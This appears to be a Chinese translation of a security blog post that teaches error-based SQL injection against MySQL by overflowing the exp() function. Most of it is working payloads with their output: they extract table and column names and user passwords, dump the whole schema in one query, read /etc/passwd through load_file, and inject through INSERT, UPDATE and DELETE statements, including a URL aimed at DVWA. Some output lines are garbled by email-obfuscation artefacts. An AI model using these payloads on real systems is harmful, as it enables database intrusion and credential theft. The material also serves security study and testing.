此文為BIGINT Overflow Error Based SQL Injection的具體發現與實踐

from:https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/

0x01 前言概述

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好訊息好訊息～作者又在MySQL中發現了一個Double型資料溢位。如果你想了解利用溢位來注出資料，你可以讀一下作者之前發的博文：BIGINT Overflow Error based injections，drops上面也有對應翻譯，具體見這裡。當我們拿到MySQL裡的函式時，作者比較感興趣的是其中的數學函式，它們也應該包含一些資料型別來儲存數值。所以作者就跑去測試看哪些函式會出現溢位錯誤。然後作者發現，當傳遞一個大於709的值時，函式exp()就會引起一個溢位錯誤。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec) 

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中，exp與ln和log的功能相反，簡單介紹下，就是log和ln都返回以e為底數的對數，見等式：

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec) 


mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指數函式為對數函式的反函式，exp()即為以e為底的對數函式，如等式：

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 注入

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當涉及到注入時，我們使用否定查詢來造成“DOUBLE value is out of range”的錯誤。作者之前的博文提到的，將0按位取反就會返回“18446744073709551615”，再加上函式成功執行後返回0的緣故，我們將成功執行的函式取反就會得到最大的無符號BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec) 


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我們透過子查詢與按位求反，造成一個DOUBLE overflow error，並藉由此注出資料。

>`exp(~(select*from(select user())x))`

    mysql> select exp(~(select*from(select user())x));
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected]' from dual)))'

0x03 注出資料

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得到表名：

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名：

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

檢索資料：

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 一蹴而就

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這個查詢可以從當前的上下文中dump出所有的tables與columns。我們也可以dump出所有的資料庫，但由於我們是透過一個錯誤進行提取，它會返回很少的結果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))

http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

0x04 讀取檔案

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你可以透過load_file()函式來讀取檔案，但作者發現有13行的限制，該語句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));

注意，你無法寫檔案，因為這個錯入寫入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'    

# type C:\out.txt
0

0x05 Injection in Insert

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按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected]' from dual)))'

對於所有的insert，update和delete語句DIOS查詢也同樣可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual)))'

0x06 Injection in Update

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mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected]' from dual)))'

0x07 Injection in Delete

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mysql> delete from users where id='1' | exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected]' from dual)))'

0x08 總結

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和前面的BIGINT注入一樣，exp注入也適用於MySQL5.5.5及以上版本。以前的版本對於此情況則是“一言不發”。

mysql> select version();
+---------------------+
| version()           |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec) 


mysql> select exp(710);
+----------+
| exp(710) |
+----------+
|   1.#INF |
+----------+
1 row in set (0.00 sec) 


mysql> select exp(~0);
+---------+
| exp(~0) |
+---------+
|  1.#INF |
+---------+
1 row in set (0.00 sec)

可能還有其他的函式會產生這種報錯呦。（有待你發現啦：）